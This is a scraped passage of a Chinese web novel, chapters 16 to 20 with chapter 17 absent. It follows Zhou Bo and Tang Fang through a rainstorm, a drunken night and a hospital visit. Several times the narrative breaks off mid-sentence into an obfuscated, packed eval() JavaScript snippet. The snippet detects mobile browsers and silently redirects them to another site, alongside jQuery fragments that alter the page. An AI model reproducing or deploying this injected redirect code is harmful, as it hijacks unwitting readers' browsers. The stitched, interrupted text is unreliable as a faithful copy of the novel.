d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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之前觉着商人重利,都是些蝇营狗苟之辈,现在陈浪不这么觉着了,他觉着,像周勃这样的商人,就该多来点! 多了,世界可不就和平了! 唐放看不下去他脸上的笑容,冲着还蹲在地上数蚂蚁的珍珍懒散道:“珍珍,过来,你爸爸叫你!” 陈牧德也蹲在珍珍身旁,他陪着小姑娘好一会儿了,闻言齐刷刷看过去,他纳闷,没听见陈浪哥叫珍珍啊? 小萝卜头倒没多想,摇摇晃晃站起身,朝陈浪走过去,边走还边喊:“爸,爸爸。” 这下陈浪的注意力转移了,全放到自家宝贝女儿身上,“珍珍,走慢点,咱不急!好,慢点!” 唐放收回视线,懒洋洋的坐在椅子上,看向周勃,眉眼上挑,眼神中带着邀功,怎么样?还是我给你转移的视线吧。 回应他的是周勃笑眯眯的脸,唐放没看懂,随后丹凤眼一眯,他看到了桌底下这人给他的手势。 一个漂亮标准的中指。 无声的谩骂。 唐放:“……”嘿,这人怎么恩将仇报啊? 不过看着周勃脸上那笑眯眯的模样,唐放眉毛上挑,嗤笑一声,装作没看到。 看你这么高兴,就放你一马! 16. 第 16 章 吃晚饭时,周勃见到了陈浪的妻子,就如唐放所说,陈浪的妻子光看着就有种病弱的气息。 她脸色苍白,走路很慢,像是刚从床上下来,明明是夏季,在其他人穿着短袖扛着炎热时,她穿着长袖连衣将身上皮肤遮得严严实实。 陈浪的妻子叫李莲花,曾经是村里一枝花,病弱没有遮掩她的美貌,更增添了几分惹人怜惜的气质。 李莲花早听到了唐放的声音,虚弱让她这时候才勉强出来。 唐放给她放好椅子,“嫂子,坐吧。” 李莲花笑笑,慢吞吞坐下,声音婉约:“唐放来了。” “嗯,”唐放收起之前的懒散,坐直身体,将周勃介绍给他,“这是周勃,我朋友。” 周勃跟着喊了声嫂子。 李莲花点点头,她笑笑:“周勃是吧,唐放这小子有时候不着调,还要你多照顾一下。” 周勃连连摆手,“怎么会,应该是我要多谢谢他,他帮了我不少。” 李莲花依旧是笑了笑,她没再说话,看向正逗着女儿的丈夫,小萝卜头正趴在父亲的怀里,她人小,尽管已经让自己说话清晰了,但说快了难免会含糊不清,听起来就像是咿咿呀呀的嘟囔。 平常人家的一幕,让李莲花勾起笑容,眼中浮现薄薄的光晕。 周勃用脚尖踢踢唐放,他看出来这位嫂子,状态有些不对。 看着,就像是将死之人的目光注视一般。 唐放斜着扫了眼周勃,他也看出来了,上次见她还不是这样,短短时间竟然病的这么重了? 他轻轻摇头,示意周勃不要说话。 李莲花像是要将这一幕深深印入脑海,痴痴看了许久才收回视线,喟叹一声后收回视线,看向唐放,“唐放啊,嫂子想求你件事。” “……嫂子你说,只要我能做到,我一定会答应你。” “我觉着我这病怕是治不好了。”李莲花笑得虚弱。 周勃清晰看见唐放薄唇抿成一条直线,露出白色边缝儿,看样子心情不是很好。 “嫂子,你想多了,现在医疗发达,去首都能治好的。” 李莲花摇头:“我自己的病我自己心里清楚,我只想让你以后在陈浪困难时候,帮他一次就行了。” 唐放:“……嫂子,就算你不说,我也会帮的。” “我知道,”李莲花笑笑,“就是想要个安慰,就当是嫂子求你了。” “……好。”唐放没辙,只能答应。 得到唐放的回答,李莲花松口气,如同了却一桩心事,不再说话。 另一边儿,院里陪着女儿的陈浪终于注意到妻子的视线,他一把抱起女儿,朝三人走过来。 脸上的汗打湿胡茬,陈浪将目光放在李莲花身上,眉毛不自觉皱起,他的眉毛和女儿如出一辙,浓密的眉毛像两条粗大的毛毛虫,责怪的语气里满是担忧:“你怎么出来了,再去床上躺会儿啊!” 李莲花从他手中接过直喊“妈妈”的女儿,轻柔的擦拭着她脸上的脏污,看着女儿的笑脸,她目光无比温柔:“睡久了腰疼,正好唐放来了,出来走走。” 陈浪对妻子一点办法都没有,以前没有,现在人病了,更没有。 等到吃完饭,李莲花带着女儿去休息了,陈牧德被打发去洗碗。 唐放和陈浪站在院子里,他抽出支烟,下意识要递给他,手伸到一半,想起对方不抽烟了,将手收回,自己点燃。 “你打算什么时候带嫂子出去?” 陈浪道:“过半个月吧,怎么了?” “这两天就带她去吧。” “怎么了?” 唐放将下午李莲花说的话复述给他,陈浪听完脸色一变,手不自觉捏紧。 他想说什么,片刻后只化为一声长叹,有时候陈浪甚至在想,这是不是上天对他的报应。 但是报应为什么不冲着他来? 陈浪拍拍唐放肩膀:“谢谢了,我明天就去买票。” 唐放淡淡点头。 周勃看着陈浪匆匆离开的背影,他接过唐放递过来的烟,两个人站在树底下吞云吐雾。 良久,唐放低沉的声音响起,捏着烟的手臂青筋凸起:“老天爷真tm的不公平。” 周勃淡淡回道:“没听说过一句话吗?命运专找苦命人,明天和意外哪个先到来谁也不知道。” 唐放瞥一眼周勃:“没听说过。” “多看点书。” “……” 周勃心想,你当然没听过,不过他还是淡定的把这个逼装完了。 “周勃!” 身后传来唐放的叫声,周勃转身,就见这个逼给自己回敬了个手势,他很眼熟,标准而又礼貌。 见周勃看过来,唐放嘴角勾起,丹凤眼轻轻上挑,小表情看起来很是挑衅。 周勃:“……” 这人可真记仇,周勃嘴角抽抽。 就像他说的,谁也不知道明天和意外谁先到来,树叶齐刷刷飘动,毫无征兆,一滴两滴,水花砸在地面。 “哗啦啦——” 瓢泼大雨应声落下。 只短短几秒,让人猝不及防。 雨水瞬间打湿唐放头发,水流顺着头顶滑落,噼里啪啦的捶打在地上,连带着他那个手势,都带着湿漉漉的傻|逼。 连绵的雨幕惊动院外的人,不知是谁大喊了一声。 “下雨了!下大雨了!” 跑动声,连带着小孩踏水踩过的声音,雨水沾染上人气和泥土气息。 裹着闷热的凉在空气中蔓延。 “终于下雨了哈哈哈哈哈!凉快了!”这是打开窗户大叫的人,“晒被子的快去收被子!” “你给我回来!不许去踩水!”这是女人教训孩子的声音。 “快走!下雨了!!”这是躲雨的路人。 唐放收回手,抹了把脸。 周勃此时也是懵逼的,他刚好站在屋檐下,雨水顺着屋檐汇聚落下,半分没溅到他身上。 一个人的幸运,必定有着另一个人的悲剧。 周勃看着上一秒还嚣张竖中指的人,此时跟个落汤鸡一样,现世报最好的教材——唐放。 对不起,他一般不笑,除非忍不住。 周勃嘴角的笑怎么都压不下去,“噗嗤——哈哈哈哈哈哈哈……” 雨太大,唐放只能透过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434430|141455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层层雨幕勉强看清屋檐底下的人,人身颤抖,以及那掩饰不住的笑声让他不难猜出这人此时正乐得不行。 唐放又抹了把脸。 风吹过,带走燥热,连带着将他的大脑的热意驱散,耳边是催促着收被子的叫喊。 很奇怪,唐放没有生气,相反,心中的郁闷和烦躁被雨水和笑声逐渐清空。 他笑骂了声:“艹。” 半眯着眼,唐放看清了屋檐下的人,这人真真是没点同情心,嘴角的笑都要乐到耳后根了,看起来很是安逸。 越是安逸,就越让人有种想将人拉下水的冲动。 唐放不动声色走近。 周勃这还是第一次见这么好笑的画面,笑得久了些,等他擦擦眼角的泪水,留意到唐放的靠近已经来不及了。 脸色一变,周勃踉跄着立马喊道:“唉!错了!错了错了!” 唐放嘴角上扬,手臂一勾,将人带入雨幕,他本就干活而来的肌肉可不是周勃这种空架子能比,手臂肌肉发力,周勃根本撼动不了。 像只小鸡仔似的被拐入水中。 “现在认错,晚了!”唐放笑得恶狠狠,眯着眼睛,像只逮到狐狸的恶狼。 雨水再度将周勃淋湿了成水人。 周勃抹了把脸,“……艹。”现世报。 浑身湿塌塌的触感让他脸绿了,冲着雨幕里唐放大喊:“我没衣服啊!” 唐放笑眯眯,活像只得逞的野狼:“没事儿,等会儿洗澡穿我的!” 周勃又抹了把脸,麻了,他现在十分后悔,很想回到一分钟前甩自己两个耳刮子。 让你笑!让你笑! 陈牧德洗完碗,也惊叹于下雨了,还下大雨了! 刚出来,就见在雨幕下的两人,他怪叫一声:“艹啊!放哥!周勃哥!你们玩水怎么不带我!” 这可是夏天的第一场雨啊! 一场大雨啊! 陈牧德冲进雨幕,雨水洗刷他浑身燥热,刚要冲过去给他放哥一个大大的拥抱。 还没抱到人,唐放淡定的一只脚踹开他,“滚!” 陈牧德从水地里爬起来,也不恼,习惯了,开始像只猴子似的在院子乱跑,迎着风,上衣紧贴肌肉,水洼狠狠溅起水。 地上的水是温热的,又带给周勃小腿二次伤害。 他看了眼“猴王”陈牧德,又看向唐放。 这人倒是悠闲,周勃看过去立马撞上他的目光,见他看过来,唐放冲他挑挑眉。 周勃:“……” 房内的夫妻二人也听到了陈牧德怪叫,高兴的情绪总能影响人。 李莲花笑笑:“在干什么呢,外面这么高兴。” 陈浪朝外边瞅了眼,紧皱的眉眼舒缓,他笑骂道:“都多大了,几个年轻人还玩水!” 李莲花听完笑眼弯弯:“说是年轻人,实际还是小孩子。” 陈浪道:“哈哈哈哈哈,唐放那小子也在玩。” “噗——”李莲花忍不住笑出声。 两人双目相对,片刻后,陈浪抱紧妻子和熟睡的女儿,“放心吧,我们会度过去的。” 李莲花放松身体:“嗯,我相信你。” 18. 第 18 章 陈牧德下午跟着唐放去了县里,房子装修这种小活儿,唐放根本就看不上,这次过去主要就是再细致的给陈牧德讲解那些地方该怎么做。 期间周佳佳边听边给两人买了两瓶水 “唐放,说话说话辛苦了,来,喝水!” 才下过雨,天气不热,唐放浅浅抿口水,站在土坯房中看着陈牧德开始忙上忙下。 周佳佳一身浅绿色长裙站在唐放身旁,一张清秀脸蛋上全是刚结婚的幸福喜庆,瞧人都是笑眼弯弯。 “唉,唐放哥,你有女朋友了没啊?”周佳佳随口问,她很少见唐放,现在站一起实在没聊的。 唐放没答话,陈牧德这厮耳朵好使,立刻抢答:“不是啊佳佳姐!你怎么就光问放哥啊!你问问我呗!” 他可是喜欢周梅好久了! 周佳佳和陈牧德熟,听到这话,还能不知道他的意思,立刻笑骂:“你这我要给你介绍女朋友,那不是耽误人姑娘嘛!” 陈牧德嘿嘿一笑,“你要是把周梅介绍给我,我保准结婚给你包一个大大的红包!” 周佳佳翻个白眼,“可拉倒吧!” 接下来的话,唐放没在听。 他走到卧室,手从裤兜里掏出烟盒,眺望远方。 卧室的阳台还没安窗户,一整个大窟窿,风吹进来凉飕飕的。 这边是齐栋儿的楼,周佳佳这户楼层在中央,说高不高说矮不矮,唐放刚刚好能看见远处一大块的空地。 那是政府圈儿的地。 这边靠近河西公园,唐放当然知道那代表着什么。 就像大家都知道沿海城市赚钱,纷纷跑到沿海打工一样,众人也都知道政府圈地带头这是有成功的例子在前,不惧风险的人在浪尖越能赚得更多。 从今年不少工人下岗就能探出的苗头,陈牧德和他爸就是其中一员。 下岗浪潮席卷而来,大量人员的失业,若是没有大量岗位填补,会乱的。 这种圈地,也代表着其中一种解决办法,能够制造岗位,刺激市场。 可惜啊,沿海和内陆不一样。 唐放呼出口烟,白色的烟雾遮挡他的眉眼,如同海上的大雾,将前边儿的空地笼罩,误导着所有急切航行的人。 唐放又想到周勃,不知道他之后会怎么做。 说实话,这几天,他时常,经常,很快都能想到他。 他抱着手,风轻飘飘吹过唐放发丝,带着水汽拍打在他脸上,鼻子一吸卷进的都是凉风,浸透皮肤。 大脑却在发热。 真是怪事儿。 陈牧德不知道啥时候搁外边说完了话,走进卧室,就见着正发呆的唐放,顺着他的目光看过去。 哟呵!那不河西公园在卖的地皮嘛! 陈牧德捅捅唐放的肩膀,“放哥,咋的,还想着那地儿啊!” “要我说,这风险太大了!咱干着包工头一年多少钱啊!没必要想着那个!” 唐放扫了眼陈牧德,又吸口烟,烟屁股扔地上碾灭,淡淡道:“没想了,放心。” 陈牧德松口气他可是知道放哥的心思,总觉得钱多了,就想学那些有钱人搞什么投资,那得多亏啊! 搞工程都这么赚钱了,咋还有心思搞别的? 放他老子的话就是,屎没拉完,就想着换厕所! 两人是晚上开车回去的,周佳佳实在是热情,还请他俩去饭店吃了顿饭。 虽说全程都是陈牧德和周佳佳俩话说个不停,唐放就像个吃饭的吉祥物,说到口渴了,接过唐放倒的水才想起来还有个人。 陈牧德很是高兴,告别了周佳佳还笑得喜滋滋。 “佳佳姐答应我,会多在周梅面前说我好话的!” “他俩可是好朋友!” 唐放单手开车,车灯照在地面上,前面的亮光衬得车里的人漆黑一片。 “嘿嘿嘿嘿,放哥,你知道陈浪哥给我什么了吗?” “看看,看看,这磁带播放器!” “亏我还去店里买了磁带。” 陈牧德叽叽喳喳,手上拨弄动作不停,很快,磁带开始转动,黄家驹的声音从小到大。 顺着飞进车窗的风带到车外,皮卡车轮胎碾过路面,排气管发出嗡嗡声,似乎在配合着磁带的音乐简单而快乐的转动。 皮卡车驶进村子,路面开始颠簸。 野草时不时探进车窗甩人两个大耳刮。 好在很快,路面又开始平整。 陈牧德摸摸脸,眼睛朝外看,一抹在黑色中的浅色吸引他的视线,他眯眼。 手重重拍打在唐放小臂上。 “唉!放哥!周勃!你看看树底下,石桌子旁边坐着的是不是他?!” 唐放差点被他拍得方向盘打滑,他黑着脸顺着陈牧德指的方向看过去。 那衣服看着确实是周勃的。 想了想,唐放下车,“我过去看看,你在车上待着。” 陈牧德十分听话:“好嘞。”手指不停,这卷磁带转完了,他抠出来,换了另外一个进去。 深情的音乐响起,陈牧德瞬间进入状态,高声狗叫。 “一首张信哲的《爱如潮水》送给大家!” 这孙子声音开了多大? 唐放听着背后十分清晰的音乐,缓缓朝石桌走去,走近了发现,陈牧德确实没看错。 “不问你为何流眼泪~” “不在乎你心里还有谁~” 周勃坐在这儿,桌上儿放着几瓶啤酒,有两瓶已经倒地,咕噜噜跑了好远。 唐放眼神儿好使,周勃脚边儿一个透明瓶子吸引了他注意,他眼角一抽,这还有白酒呢! “请让我给你安慰~” “不管结局是喜是悲~” 周勃眼神打飘儿,喝酒的时候还在回忆着上辈子,他真是个怂蛋啊! 小姑说的没错,他就是个怂蛋! 唐放看着这人,不知道什么时候开始喝的酒,额前的发丝已经打湿,洁白的脸颊上一片红润。 如果说清醒的他让人欣赏,喝醉酒则有着别样儿的感觉,那种朦胧的,像是一坛醇香的酒缓缓倒入夜晚清冷的泉水。 “走过千山万水~” “在我心里你永远是那么美~” 歌词如同羽毛,轻轻挠着他的喉结,唐放喉结忍不住上下滑动,目光落到周勃的唇上。 不知是不是喝酒喝多了,泛着让人心痒的光泽。 “既然爱了~就不后悔~” “再多的苦我也愿意背~” 就在唐放发愣时,周勃手中啤酒瓶滑到地上,冰凉的啤酒洒落在他脚背,瞬间让他清醒。 “艹。”唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“什么李丽华,不就是个女人吗?”唐放也不知心里咋想的,只觉得周勃这人有点蠢,他舔舔嘴唇,有点酸,估计是汗,“md,有必要这么挂记吗?两条腿的女人不多的是?男人都找得到!” 裤腿上那些不明呕吐物的气味上涌,更让唐放喉咙泛酸。 他黑着脸架着人来到皮卡车前。 陈牧德这孙子不知道咋想的,还搁这儿唱歌,唱的真tm难听,歌也难听! “我再也不愿见你在深夜里买醉~” “不愿别的男人见识你的妩媚~” “你该知道这样会让我心碎~”(破音) 唐放一脚狠狠踢在皮卡车门上,吓得陈牧德在车里的声音都抖了下。 陈牧德咽咽口水,默默关了播放器,这是咋了,放哥是吃了炸药桶了嘛? “下来。” 陈牧德刚下车,映入他眼帘的,就是黑着脸的唐放,醉酒的周勃,以及唐放身上的呕吐物。 得,怪不得火气这么大。 19. 第 19 章 唐放将人扔给陈牧德,“你把他扶到车上,我去洗洗。” 陈牧德手忙脚乱的扶着周勃,闻言吃惊道:“不是,放哥,你去哪儿洗啊?快到了就算了吧,这附近也没水啊!” “去河里。” 唐放撂下话,黑着脸转身走了。 陈牧德顿住,扫视四周,这黑漆漆的一片不怕摔倒啊? 似乎是感觉到自己被人架着,周勃晕乎乎甩甩脑袋,说话有些大舌头:“去、去哪儿?” 陈牧德没心思想其他的了,他赶紧扶着周勃的腰,生怕他到时候一个咕噜滚地上,这醒了不得给他个耳刮子。 至于放哥,他敢打赌,周勃揍他,他指定在旁看好戏。 要过分些,还得问人打累了没,要不要休息。 谁叫人对周勃是满满的欣赏呢? 陈牧德摇摇头,只叹命运的不公,要周梅能欣赏他就好了,他嘿嘿一笑。 “呕——” 一声泛着酒气的干呕吓得陈牧德大惊失色,这理智和情感,有时候是不成正比的。 陈牧德情感占了上风,手一哆嗦,下意识把人往地上送。 “啪!” 这是人着地的声儿,幸好是泥土路。 陈牧德心虚的看眼四周,见没人,这才小心把人扶起来,擦掉对方脸上湿润的泥土。 一看衣服,艹啊! 这不行啊,这一看就是他的犯罪证明! 陈牧德挠挠头,眼睛一闭,狠下心:“周勃哥,你可不能怪我啊!” 等唐放回来时,陈牧德已经把人衣服扒干净,送到后座儿了,自个儿则是跑到河边刷他衣服的上的泥。 就算将衣服上的腌臜物全都洗干净,唐放还是觉得自己身上有股子酸臭味儿。 他手指头小心捻起一小撮衣服,闻了闻:“呕——” 大爷的,周勃晚上是喝了多少酒! 唐放皱着眉,他衣服才拧干水,还是湿的,正要从后座翻套衣服换上,入手就是一抹滑|腻的温热。 唐放手一哆嗦,“艹!陈牧德你丫的又在后座睡觉是吧!” 车里灯一开,是人是鬼一目了然。 “唔——” 后座上的人皱着眉发出不舒服的闷哼,后座对于他来说有点小了,腿没地方放,陈牧德直接把人腿缩着放下边,导致人躺是躺着,但腿和上身扭着。 唐放一眼看出问题所在,他唇抿成一条直线,低声骂了两句陈牧德这小子不干正事儿。 随后将躺在后座儿上的人捞起来,给他调了个舒适的睡姿。 睡着的人多了乖巧,昏黄的灯光下,一身洁白的皮肤有点刺眼,更别说那两点殷红,带着酒香,唐放喉结上下移动,他仓促移开视线,只觉得有些口渴。 觉着周勃这人儿也真是的。 平白无故身上这么白干嘛! 这不引着人多想嘛! 自觉不是自己的问题,唐放深吸一口气,又将目光移回去。 这次让他注意到了其他的东西。 平时看着穿衣服的周勃,能感觉到这家伙是有肌肉的,身材也可以。 这下看到真材实料了。 周勃身上的肌肉线条明显,每块都恰到好处,有着独属于男人的力量感,属于有肌肉,但不夸张的类型。 唐放自己也有肌肉,而且从来没刻意练过,不少人夸他身材好。 此刻他觉着周勃的身材也挺好,看着赏心悦目。 许是脑子抽了,唐放手不自觉抹了把周勃的腹肌,手下触感,有着皮肤的紧致滑|腻。 他知道女人的皮肤是柔软的,细腻柔软,这时候知道了男人的皮肤是怎样的。 比女人硬一些,但手感不错。 唐放脑中出现这么个想法。 “啪!”这是衣服掉地上的声音。 唐放触电般的收回手,他皱眉,眯着眼看向声音源头,只见陈牧德这家伙不知道什么时候回来的,正在车外目瞪口呆的看着他。 具体来说,是他的手,放在周勃腹部的手。 唐放十分自然的收回手,淡淡道:“衣服掉了。” “奥,奥奥。”陈牧德如梦初醒,飞快捡起地上周勃的衣服,“艹,白洗了!” “放、放哥,你、你继续,我再去洗洗。” 唐放看着陈牧德飞也似的身影,十分无语。 有必要吗? 又不是摸你的肌肉,你丫还没腹肌呢! 经过这茬,唐放换上干净的衣服,坐回驾驶座。 不知过了多久,陈牧德回来了。 唐放一个眼神扫过去,让他心惊胆战,“放哥,走吧。” “周勃哥咋办啊?” “送他回去。” “……哦。” 第二天,周勃蹲在自家田埂上抽烟。 他眯着眼,酒后的头痛消散不少,就是脸还有些疼,脚边的野草蹭到他下巴,周勃不自觉别开脸,看向几米外的马路上。 陈牧德正轻手轻脚从路上过。 “唉!” 陈牧德“唰”的一下跑远了! 周勃正想谢谢他和唐放,昨晚上把他送回家,看向马路另一头,也没见有狗追他啊。 而此时陈牧德也不知道该怎么面对他,愁眉苦脸,连带着吃饭都不香了,筷子盘子里挑挑拣拣。 “妈,你说你要是看见你好姐妹对人图谋不轨,你会咋样?” 他妈瞥了他一眼,一个爱的巴掌拍在他脑后,“吃你饭!不吃滚!” 陈牧德差点一脸栽在碗里,捂着后脑勺可怜兮兮道:“奥。” 算了算了,就当什么也没看见吧。 另一边,唐放家。 “放哥,你啥时候过来啊?我告诉你,这边儿活儿可多了!咱们一起,一年赚个几百万根本不是问题!不是我吹,小敏都给谈了好几个了,就等你过来咱就开工了!” 对面那头的声音全是兴奋,大嗓门震得唐放将电话拿远了些,淡淡道:“不急,我在这儿还有些事儿,半个月左右过去。” “啥半个月啊……不是啊放哥,小敏等你等得都哭了!……真不能早点过来?……你有啥事儿啊,不早就弄完了吗?” 唐放:“说有事儿就是有事儿,别催,要干,你们先干着。” 电话那头的是王伟杰,他们搞工程从不是一个人,好几个人或者十几个人就是个团队,没道理少了一个人就干不成事儿。 主要是,唐放作为主心骨,人不在,他们有些慌张而已,但实力在那儿,不可能差到哪儿去。 “……放哥,你可别诓我,早点过来……” “嗯。” 唐放挂断电话,这个县城的早就饱个了,只有大城市才能带给他们更多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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周勃:“……不吐人身上,难道还吐自己身上?” “……你真行。” 唐放黑着脸,气得慌,觉着自己真像个棒槌,还把人送回家,指不定梦里还在追着李丽华说别走呢! 越想越气,唐放不忍了,他脚踩刹车,跳下车关上车门一气呵成。 周勃:“?” “你下车。” 周勃下车,看着站在马路边儿的人有点懵,“车出问题了?” 唐放皮笑肉不笑,“没。” “?”周勃:“那下车……” “走路去。”唐放打断他。 “我发现,去县里的路也不远,人走走路有益身心健康。”唐放笑眯眯,面露嘲讽:“怎么,你不会这么虚吧?这点路都走不了?” 周勃洁白的脸上第一次因着唐放这么个不要脸的话红了,给气的。 长期在海城,良好的环境让他说不出更多骂人的话,只能点点头,从牙缝中憋出句话。 “……你牛。” 20. 第 20 章 县城的路,周勃小时候离家出走威胁过他姑说要走路去县城,再也不回来,那时候他姑对他的话十分嘲笑,并送上大概路程。 还去县城,个小屁孩走上三天三夜也到不了! 虽没真走过,至此也给周勃留下了深刻印象。 县城太远了,得坐车! 俩人较劲儿,硬生生走了得有两个小时,太阳头顶挂着,马路边儿没遮挡,就硬生生扛着。 俩儿都热得汗水直冒,愣是没一个人说话。 周勃心里气得慌,真想回到几个小时前,给答应去县城的自己两个耳刮子,叫你来县城! 不答应不就没那么多破事儿吗? 这唐放不知道抽什么风! 唐放此时脑子清醒了,有心想回去,走路去县城,这不闹嘛! 但看着周勃那脸色,他觉着自己要真说出来再走回车上,这人非得和他打一架,唐放没说话,走路的步子放缓,准备找个时机说说。 他刚慢上两步,就被察觉到了。 “怎么?没吃饱饭?不是你说要走路去吗?按你这速度,怕是走到明天也到不了。”周勃说话带刺儿。 唐放:“……”没办法,只能加快步子。 眼睛时不时斜着看身旁的人,唐放有些纳闷,怎么还不累啊?不是昨晚上喝酒了吗?蹲着都能腿麻的人啊。 路上好不容易有辆路过的车,见两人走路,十分好心:“唉!你们是不是去县里?要送一程不!两块钱。” 周勃笑着坚定拒绝道:“不用了,我们身体好走路过去。” 唐放:“……” 车里那哥们显然有些无语,这距离还走路,不要命了? 车开走还能听到里边一女的问:“怎么了?不是要搭人吗?” “不了不了,他们要走路去,别管他们,俩傻子,还走路去县城,没地方消遣了估计是。” 其实,这时候周勃也有些后悔了。 昨晚上喝酒,今天晚上醒来就是头痛,附带着脸也有些疼,刚库库走路,现在脑子更疼了,越疼,嘴越硬! 两个人都是犟种,都不说话,等着对方喊累,结果就是。 一个小时后,周勃腿一软,一阵天旋地转。 晕倒了。 唐放赶紧上前,他用力拍拍周勃的脸,没把人唤醒,心里咯噔一下,知道糟糕了。 管不得那么多,他一把背起人,朝着原来的方向狂奔。 唐放心中后悔,早知道人昨晚上喝酒了,生什么气啊! 就算气,这都一路了,不能好好说说软话??现在好了,人给你整晕倒了! …… 周勃再次醒过来时,人正躺在医院病床上输液,脑子还晕乎乎,头一转就见个不认识的人坐在床边。 这人见到他醒了,也是满脸惊喜:“哥们!你醒了啊!等等,我去叫医生。” 周勃还没回过神,他连忙叫住人,“不是,你先等等,你是?” 这人住脚,一拍脑袋,“哎呀!忘了告诉你了!你别急,我认识唐放!” “你可不知道!当时要不是我开车过去,放哥不知道要背着你跑多远呢!我都给惊呆了,要不是我开车,过一小时,人估计都跑到了卧槽!真牛逼啊!” 周勃等他说完话,轻声询问:“所以你是?” “奥奥,我叫周旋,我爸叫周爱国,我妈是卢美,我姐叫周梅。”周旋笑了笑,他留着寸头,看着憨帅憨帅的。 一溜烟儿把家里人都介绍一遍,周勃就认识个周梅。 还是只闻其名不见其人的那种。 没办法,周勃只能问:“唐放人呢?” “交钱去了。” 周旋不认识周勃,这时候没话说有点尴尬,说了两句就去叫护士了。 唐放交完钱回来,见到周勃醒了,整个紧绷着的人终于放松了,卸了气似的坐靠在椅子上正要休息下。 椅子一下子被这么个大高个坐下,没防备,直愣愣侧着就要带着人倒地。 唐放手疾眼快,屁|股没坐热乎立马起身,速度过快,一张脸栽到洁白的病床上。 皱眉起来,揉揉鼻子。 刚才的姿势可不怎么雅观。 唐放看向周勃,就见他嘴角的笑容飞快的压下。 “……笑了?” 周勃:“……” “还气呢?” 唐放可算是服了,他简直是深刻认识到了什么叫做偷鸡不成蚀把米,这事儿从头到尾,折腾的都是他,他弄到最后,都给忘了最初自己为啥生的气了。 周勃倒也没那么气,他又不是女人,一气能气一整天,“……听说是你背着我跑过来的?” “你觉着我能背着你跑到县城?”唐放嘴角抽抽。 周勃这时候身体舒适,竟有心情说笑,他挑挑眉:“……不行?” 唐放:“……也不能说不行。”男人对这两个字最为敏感。 周旋带着医生回来了,他推开门,见到唐放眼睛一亮,“放哥,你交钱交好了?” 唐放点点头,眼睛一眨不眨的盯着护士给周勃检查,医生量了下|体温,又问了问周勃有没有什么不舒服的情况。 周勃面对医生都老实的回答没有。 医生点点头,笔在本子上记着:“那就行了,应该是低血糖,这两天好好休息,饮食尽量清淡些。” 医生大概率是很忙,见周勃没什么事儿就要走,唐放急忙拉住他,他是真给周勃那一下晕倒整怕了。 “唉,医生,你再给看看吧,这人不看不吱声,一会儿晕倒了能吓死人,要不给开点药,消炎的也行,治治脑子。” 医生上下打量着唐放,停在他的脸上,“你是医生我是医生?” 一个反问,把人问住了,唐放放下手,“……” “知不知道不管什么病,药都不能乱吃!我知道你们家属很是关心病人,但是再关心也不能想当然的乱吃药,前两天就有一个,不听医生的话,结果怎么样?最后直接进了手术室……”医生苦口婆心。 兴许不是第一次遇见这样儿的病人家属了,心中苦闷已久,拉着唐放就是一顿教育,给人说的差点都要翻脸了,这才心满意足收工出门。 周旋这时候很会看眼色,“放哥,时间不早了,我去给你们买饭吧。” 唐放听他说这话,就要 () { $(''.inform'').remove(); $(''#content'').append('' 拿钱给他,周旋坚持不要,最后一溜烟儿跑了。 “多少钱?” 唐放看向床上的周勃,有点没听懂这啥意思。 周勃重复,“我是说医院,你刚才交了多少钱,我给你。” “没多少钱,交就交了,不用给。”唐放拉着椅子坐在周勃身旁。 这话说的,怎么可能不给钱?周勃不是那种占人便宜的人,他用脚踢踢唐放膝盖,“痛快点,别磨磨唧唧的。” 唐放被他踢的膝盖软乎乎的,他刚才被医生说了一通,心情不好,周旋那小子跑的又快,这被周勃一踢,心情奇妙的好转的一点。 他嗤笑一声,丹凤眼轻轻斜着:“一个两个的,真当我是垃圾桶?想给什么给什么?” “我就不要,你能咋的?” 一个坐椅子上的大男人,竟然还有小脾气,你说好不好笑? 周勃反正觉得挺好笑的,他眯了眯眼,勾起嘴角:“这可是你说的。” “我能靠你那点钱赚钱?” “行。” 周旋很快回来了,带着两份饭和一碗粥。 医院旁边都有卖粥的,知道病人很多吃不了重油重盐的食物。 唐放很自然的把两份饭分好,一份自己的,一份周勃的,还有份粥,他看都没看。 周旋:“……” 眼看人真要把饭吃了,周旋忍不住开口,“放哥,那个,那份是我的。” 唐放手顿了顿,他依稀想起了医生离开前的话,好像是说最好吃清淡的。 他手疾眼快,趁着周勃还没吃,将饭虎口夺食,扔给周旋,再把粥打开盖子,好好放到周勃面前。 “你吃这个,医生刚才说了最好吃清淡的。” 周勃饭也吃得,粥也吃得,本就不饿,闻着这粥还有点香,十分淡定的接受了。 三个人开始吃饭。 周旋打的菜确实不错,两荤一素,饭结结实实按了又按,足够一个成年人吃得饱饱的,分量足够,菜也香。 扒拉了两三口饭,唐放看着正安安静静吃粥的周勃,那粥清汤寡水的,只看着就没食欲。 没来由的,唐放觉着人有点可怜。 他腿轻轻撞了下周旋,低声道:“觉不觉得他有点可怜?” 周旋抬起头,“谁?” 唐放扬扬下巴。 周旋看向周勃,点点头:“是有点可怜,都低血糖晕倒住院了!”正常人谁会低血糖住院啊?这估摸着是第一次。 “我是说,他吃粥,我们吃饭。” 周旋目露震惊,刚想说这有什么可怜的,这不是医生说的吗? 